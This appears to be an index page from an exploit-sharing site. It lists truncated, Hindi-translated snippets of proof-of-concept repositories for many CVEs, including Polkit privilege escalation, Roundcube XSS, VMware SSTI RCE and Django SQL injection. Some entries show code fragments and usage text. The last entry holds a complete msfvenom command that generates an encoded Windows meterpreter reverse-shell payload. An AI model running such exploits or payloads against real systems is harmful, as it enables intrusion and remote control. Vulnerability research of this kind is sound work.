CVE-2026-23005-Matter-Commissioning-Code-Brute-Force-Without-Rate-Limit

CVE-2026-23005 – बिना रेट लिमिट के Matter कमीशनिंग कोड ब्रूट‑फोर्स प्रोग्राम कोड Python Matter सिमुलेशन root@kitploit: mattercommissioningsim.py import random realcode = random.randint10000000, 99999999 def attemptjoincodeattempt: Simulate joining: no delay, no lockout if codeattempt == realcode:...

reconftw

reconFTW !Dockerhttps://img.shields.io/badge/docker-%230db7ed.svg?style=for-the-badge&logo=docker&logoColor=w...

CVE-2026-23008-Solidity-Assembly-Return-Data-Size-Confusion

CVE-2026-23008 – Solidity असेंबली रिटर्न डेटा आकार भ्रम प्रोग्राम कोड Solidity root@kitploit: // ReturnSizeConfusion.sol contract Victim function callExternaladdress target external returns bytes memory bool success, bytes memory ret = target.callabi.encodeWithSignature"someFunc"; requiresuccess,...

CVE-2026-23006-Kyber-Ciphertext-Length-Side-Channel

CVE-2026-23006 – Kyber सिफरटेक्स्ट लंबाई साइड‑चैनल प्रोग्राम कोड Python root@kitploit: kyberlengthleak.py - Leaks secret key bit based on ciphertext length import random Simulate encapsulation: ciphertext length depends on message bit def encapsulatepk, bit: In a flawed implementation, the...

CVE-2025-30374

CVE-2025-30374 Taipy में क्लास पोल्यूशन भेद्यता जो RCE, XSS, DoS और क्रेडेंशियल लीकेज की ओर ले जाती है सारांश Taipy v4.0.3 खोज के समय नवीनतम संस्करण में एक क्लास पोल्यूशन भेद्यता की पहचान की गई है। यह भेद्यता अनधिकृत हमलावरों को Taipy सर्वर-साइड रनटाइम संदर्भ को अधिलेखित करने की अनुमति देती है,...

POC-Bash-CVE-2021-3560

Bash-CVE-2021-3560 POC Bash -- CVE-2021-3560 Polkit स्थानीय विशेषाधिकार वृद्धि एक्सप्लॉइट यह रिपॉजिटरी CVE-2021-3560 के लिए एक bash एक्सप्लॉइट प्रदान करती है, जो polkit में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है, जो कई आधुनिक Linux वितरणों को प्रभावित करती है। !!!!!! परीक्षण के दौरान अस्थिरता...

ResetNightmare

ResetNightmare ResetNightmare CVE-2026-27912 के लिए प्रूफ-ऑफ-कॉन्सेप्ट POC टूल। ResetNightmare Kerberos चेंज पासवर्ड प्रोटोकॉल में एक सत्यापन दोष है, जो किसी भी लक्षित उपयोगकर्ता/कंप्यूटर खाते का पासवर्ड, वर्तमान पासवर्ड जाने बिना रीसेट करने की अनुमति देता है। इस हमले के लिए एक अपैच्ड डोमेन...

CVE-2024-42009-roundcube-xss

CVE-2024-42009 — Roundcube Webmail 1.6.6 Stored XSS PoC केवल अधिकृत सुरक्षा परीक्षण, CTF वातावरण और शैक्षिक अनुसंधान के लिए। इस टूल का उपयोग उन प्रणालियों के विरुद्ध करना जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, Computer Misuse Act 1990 UK, CFAA US और दुनिया...

CVE-2022-31626-CVE-2024-2961-CVE-2019-6977

CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 दान करें इस प्रोजेक्ट के रखरखाव में PayPal के माध्यम से या नीचे दिए गए QR कोड को स्कैन करके सहायता करें। ⚡ सरल उपयोग इस प्रोजेक्ट का उपयोग केवल सुरक्षित और अधिकृत वातावरण में करें, जैसे: स्थानीय वर्चुअल मशीनें Docker कंटेनर पृथक लैब सेटअप अधिकृत...

CVE-2025-24813-POC

CVE-2025-24813 प्रूफ-ऑफ-कॉन्सेप्ट स्टैंडअलोन यह रिपॉजिटरी CVE-2025-24813 के लिए एक गैर-विनाशकारी, स्टैंडअलोन PoC है, जो Apache Tomcat 9.0.55 में एक भेद्यता है जो आंशिक PUT अनुरोधों के माध्यम से दूरस्थ फ़ाइल अपलोड की अनुमति देती है। यह एक्सप्लॉइट एक हानिरहित JSP फ़ाइल को अपलोड और एक्सेस करके कोड...

CVE-2026-34980

cve-id दान करें इस प्रोजेक्ट के रखरखाव में PayPal के माध्यम से या नीचे दिए गए QR कोड को स्कैन करके सहयोग करें। ⚡ सरल उपयोग इस प्रोजेक्ट का उपयोग केवल सुरक्षित और अधिकृत वातावरण में करें, जैसे: स्थानीय वर्चुअल मशीनें Docker कंटेनर पृथक लैब सेटअप अधिकृत पेनिट्रेशन परीक्षण वातावरण उदाहरण सेटअप:...

CVE-2019-8805

CVE-2019-8805 CVE-2019-8805 Apple EndpointSecurity फ्रेमवर्क विशेषाधिकार वृद्धि के लिए एक्सप्लॉइट एंटाइटलमेंट सत्यापन में एक सत्यापन समस्या मौजूद थी। प्रक्रिया एंटाइटलमेंट के बेहतर सत्यापन के साथ इस समस्या का समाधान किया गया। यह समस्या macOS Catalina 10.15.1 में ठीक की गई है। कोई एप्लिकेशन सिस्टम...

juniper-cve-2015-7755

जुनिपर CVE-2015-7755 और CVE-2015-7756 इस रिपॉजिटरी में जुनिपर ScreenOS के भीतर CVE-2015-7755 और CVE-2015-7756 मुद्दों के विश्लेषण से नोट्स, बाइनरी और संबंधित जानकारी शामिल है। इन मुद्दों के बारे में अधिक जानकारी के लिए, कृपया नीचे दिए गए URL देखें:...

CVE-2022-24853

CVE-2022-24853 Metabase NTLM रिफ्लेक्शन / रिले अटैक CVE-2022-24853 इस खोज के बारे में ब्लॉग पोस्ट: https://secure77.de/metabase-ntlm-relay-attack/ गिटहब सुरक्षा सलाह: https://github.com/metabase/metabase/security/advisories/GHSA-5cfq-582c-c38m POC root@kitploit:...

DjVul_StringAgg

Django CVE-2020-7471 SQLi CVE-2020-7471: संभावित SQL इंजेक्शन StringAggdelimiter के माध्यम से django.contrib.postgres.aggregates.StringAgg aggregation function SQL इंजेक्शन के अधीन था, एक उपयुक्त रूप से तैयार किए गए delimiter का उपयोग करके। RUN root@kitploit: python manage.py makemigrations pytho...

CVE-2015-6612

CVE-2015-6612 भेद्यता का विवरण कृपया description.pdf में देखें। इस बग के बारे में मेरी दुखद कहानी: मैंने पिछले मार्च में यह समस्या ZDI को रिपोर्ट की थी। शुरुआत में, उन्होंने कहा कि वे इसे नवीनतम Android में दोहरा नहीं सकते। आधे महीने की बातचीत के बाद, उन्होंने इस बग को खरीदने का पीछा न करने का...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access और Identity Manager में SSTI के माध्यम से RCE। CVE-2022-22954 - PoC SSTI उपयोग: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes:...

POC_CVE-2025-69194

CVE-2025-69194: GNU Wget2 पाथ ट्रैवर्सल भेद्यता 📝 विवरण CVE-2025-69194 के लिए PoC, GNU Wget2 = 2.2.0 में एक गंभीर पाथ ट्रैवर्सल भेद्यता v1.99.1 पर सत्यापित। यह भेद्यता हमलावरों को हेरफेर किए गए file name विशेषताओं वाली दुर्भावनापूर्ण Metalink फ़ाइल प्रदान करके पीड़ित के फ़ाइल सिस्टम पर मनमाना फ़ा...

POC_CVE-2025-14700

CVE-2025-14700 CVE-2025-14700 के लिए PoC, Crafty Controller = 4.6.1 में एक सर्वर-साइड टेम्पलेट इंजेक्शन SSTI भेद्यता। यह भेद्यता प्रमाणित उपयोगकर्ताओं को Webhook कॉन्फ़िगरेशन में दुर्भावनापूर्ण Jinja2 टेम्पलेट इंजेक्ट करके रिमोट कोड निष्पादन RCE प्राप्त करने की अनुमति देती है। 📦 स्थापना...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 विंडोज़ के लिए पेलोड बनाने/जनरेट करने की वन-लाइनर msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/...